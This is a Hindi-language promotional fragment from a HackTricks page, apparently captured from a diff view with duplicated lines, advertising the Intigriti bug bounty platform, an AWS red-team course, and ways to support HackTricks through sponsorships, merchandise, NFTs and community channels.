**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! हमसे [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर आज ही जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong>!</summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**।
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue